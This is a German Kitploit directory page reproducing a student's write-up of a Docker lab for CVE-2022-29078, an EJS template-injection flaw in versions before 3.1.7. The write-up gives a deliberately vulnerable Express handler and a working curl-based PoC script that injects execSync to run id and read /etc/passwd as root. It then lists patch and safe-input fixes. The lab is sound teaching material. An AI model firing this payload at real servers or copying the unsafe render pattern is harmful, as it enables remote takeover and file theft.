Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-29078 — Docker-basierter PoC für CVE-2022-29078: EJS-SSTI, der zu nicht authentifizierter Remote-Codeausführung durch outputFunctionName-Injection führt. Enthält Reproduktionsschritte und zwei Abhilfestrategien. | Kitploit
Tools/GitHubGitHub/taka3636/cve-2022-29078
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

Docker-basierter PoC für CVE-2022-29078: EJS-SSTI, der zu nicht authentifizierter Remote-Codeausführung durch outputFunctionName-Injection führt. Enthält Reproduktionsschritte und zwei Abhilfestrategien.

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-29078 | EJS SSTI → RCE

Whitehat Schule 4. Jahrgang (Klasse 32) - Woo Sang-beom (@taka3636)


Zusammenfassung

Die Server-seitige Template-Injection (SSTI)-Schwachstelle CVE-2022-29078 in EJS < 3.1.7 ermöglicht Remote Code Execution (RCE) ohne Authentifizierung. Dieses Dokument konfiguriert eine verwundbare Umgebung mit Docker, reproduziert RCE mit einem PoC und überprüft zwei Gegenmaßnahmen (Bibliotheks-Upgrade, sichere Eingabeübergabe).


Einführung in EJS

EJS (Embedded JavaScript Templates) ist eine weit verbreitete Template-Engine im Node.js-Ökosystem. Mit <% %>-Tags wird JavaScript in HTML eingefügt, um dynamische Ansichten zu erstellen, z.B. <h1>Hello <%= id %></h1>. Intern kompiliert EJS den Template-String in eine JavaScript-Funktion und führt diese aus, um das endgültige HTML zu generieren. Es handelt sich also um einen Code-Generator, der "Text (Template) in ausführbaren Code (Funktion) umwandelt" – diese Eigenschaft bildet die Grundlage für die Schwachstelle.


Einführung in CVE-2022-29078

EJS < 3.1.7 fügt den Wert der Render-Option outputFunctionName ohne Überprüfung in den kompilierten Funktionsquellcode ein. Wenn die Anwendung Benutzereingaben direkt als Render-Optionen übergibt, kann ein Angreifer diese Option manipulieren und beliebigen Code auf dem Server ausführen (RCE). Da der Server ohne Authentifizierung vollständig übernommen werden kann, ist der Schweregrad sehr hoch.

  • Betroffene Version: EJS < 3.1.7
  • Typ: Server-seitige Template-Injection (SSTI) → Remote Code Execution
  • Referenz: NVD CVE-2022-29078

Umgebungskonfiguration

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # 127.0.0.1 Bindung (isoliert)
├── Dockerfile             # node:18.20.4 (Version fixiert)
├── app/
│   ├── server.js          # Verwundbare Express-App
│   ├── package.json       # ejs 3.1.6 genau fixiert
│   └── views/page.ejs
├── poc.sh                 # PoC-Ausführungsskript
└── 1.png ~ 8.png          # Screenshots
  • Laufzeit: Node.js 18.20.4 fixiert
  • Verwundbare Bibliothek: ejs 3.1.6 (ohne Semver-Bereich genau fixiert – bei Verwendung von ^/~ würde eine gepatchte Version installiert, was die Reproduktion verhindert)
  • Web-Framework: express 4.18.2
  • Keine externen benutzerdefinierten Images erforderlich; mit einem einzigen Befehl docker compose up -d --build ist die Umgebung fertig.


Schwachstellenbedingungen

Ein Angriff ist möglich, wenn beide folgenden Bedingungen gleichzeitig erfüllt sind:

  1. Bibliotheksfehler: ejs < 3.1.7 fügt outputFunctionName ungeprüft als Code ein.
  2. Unsichere Nutzung: Die App übergibt Benutzereingaben vollständig als Render-Optionen.
root@kitploit:~
// app/server.js — Angriffspunkt
app.get('/page', (req, res) => {
  res.render('page', req.query);   // req.query vollständig als Render-Optionen übergeben
});

Express übergibt bei res.render('page', req.query) die Benutzereingaben (req.query) vollständig als Render-Optionen an EJS. Der qs-Parser wandelt Klammernotationen wie settings[view options][outputFunctionName] in verschachtelte Objekte um, die dann in die EJS-Kompilierungsoption outputFunctionName eingefügt werden. Der Benutzer pflanzt also Code (Funktion) an die Stelle der Option, der dann an EJS weitergegeben wird. EJS fügt diesen Wert vor die kompilierte Funktion ein:

root@kitploit:~
var <Wert von outputFunctionName> = __append;

Bei einem normalen Wert wäre das harmlos, z.B. var myOut = __append;. Enthält der Wert jedoch ein Semikolon, um die Anweisung zu beenden, und dann Code, wird dieser Code bei der Ausführung der kompilierten Funktion ausgeführt. An dieser Stelle kann execSync(...) eingefügt werden, um bestimmte Dateien zu lesen oder Systembefehle auszuführen.


Reproduktionsschritte

Voraussetzung: Docker + Docker Compose installiert, Internetverbindung beim Bauen.

root@kitploit:~
# 1) Klonen und ins Verzeichnis wechseln
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) Bauen und Starten
docker compose up -d --build
docker compose ps

# 3) Normalen Betrieb prüfen
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) PoC ausführen
bash poc.sh

# 5) Aufräumen
docker compose down


PoC-Code

poc.sh – Injectiert die outputFunctionName-Option, um drei Befehle auf dem Server auszuführen und die Ergebnisse abzurufen: [1] id (Ausführungskontext), [2] /etc/passwd (beliebige Datei lesen), [3] uname (Ausführungsort).

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName-Option Injection) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL-kodierter Shell-Befehl (im Container ausführen und Ergebnis abrufen)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] Ausführungsberechtigung prüfen (id) — root?"
run "id%20%3E%20/tmp/out"
echo "[2] Beliebige Datei lesen — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] Systeminformationen preisgeben — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g : Erforderlich um eckige Klammern in der URL nicht als Glob zu interpretieren (sonst curl: (3) bad range)
  • Kodierung: Leerzeichen %20, Umleitung > %3E

Ausführungsergebnisse

Ergebnisse nach Ausführung von poc.sh. Normale Anfragen (id=world) geben nur Hello world zurück, aber durch die outputFunctionName-Injection werden die injizierten Befehle auf dem Server ausgeführt und ihre Ausgaben abgerufen.

  • [1] id → uid=0(root) gid=0(root) : Die injizierten Befehle werden mit root-Rechten ausgeführt.
  • [2] /etc/passwd → Der Inhalt der Systemkontendatei wird direkt zurückgegeben: Beliebige Dateien auf dem Server können gelesen werden (Vertraulichkeitsverletzung).
  • [3] uname → Der Hostname ist 326f6f1b04b3 (Container-ID) und unterscheidet sich vom VM-Hostnamen (ubuntu-QEMU-Virtual-Machine): Dies beweist, dass die Befehle innerhalb des Containers und nicht auf dem Host ausgeführt wurden. Die Root-Rechte stammen also nicht von sudo, sondern vom verwundbaren Serverprozess (Container node = standardmäßig root).

Eine einzelne unauthentifizierte Remote-Anfrage ermöglicht die Ausführung von Befehlen mit Root-Rechten und das Lesen beliebiger Dateien = CVE-2022-29078.


Gegenmaßnahmen

Maßnahme 1 – Bibliotheks-Upgrade (grundlegende Behebung)

Aktualisieren Sie ejs in package.json auf Version 3.1.7 oder höher. Ab 3.1.7 wird outputFunctionName mit dem regulären Ausdruck /^[a-zA-Z_$][0-9a-zA-Z_$]*$/ validiert. Dadurch werden Nicht-Identifier-Zeichen wie Semikolons zurückgewiesen, sodass derselbe Angriff bereits vor der Codeausführung blockiert wird.

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

Maßnahme 2 – Sichere Eingabeübergabe (Anwendungsverteidigung)

Selbst bei der verwundbaren Version (3.1.6) wird die Optionen-Manipulation unmöglich, wenn Benutzereingaben nicht vollständig übergeben werden, sondern nur die benötigten Werte. Dadurch entfällt der Pfad settings[view options] zur Zusammenführung der Optionen. Die normale Funktionalität bleibt erhalten.

root@kitploit:~
// Vorher (verwundbar)
res.render('page', req.query);
// Nachher (sicher)
res.render('page', { id: req.query.id });

Empfehlung: Wenden Sie beide Maßnahmen an – Aktualisierung der Bibliothek (grundlegende Behebung) und minimale Übergabe von Benutzereingaben (tiefe Verteidigung). Zusätzlich kann der Container mit einem Nicht-Root-Benutzer ausgeführt werden, um den Schaden im Falle einer RCE zu begrenzen.


Referenzen

  • NVD – CVE-2022-29078
  • EJS GitHub – mde/ejs
Tool herunterladen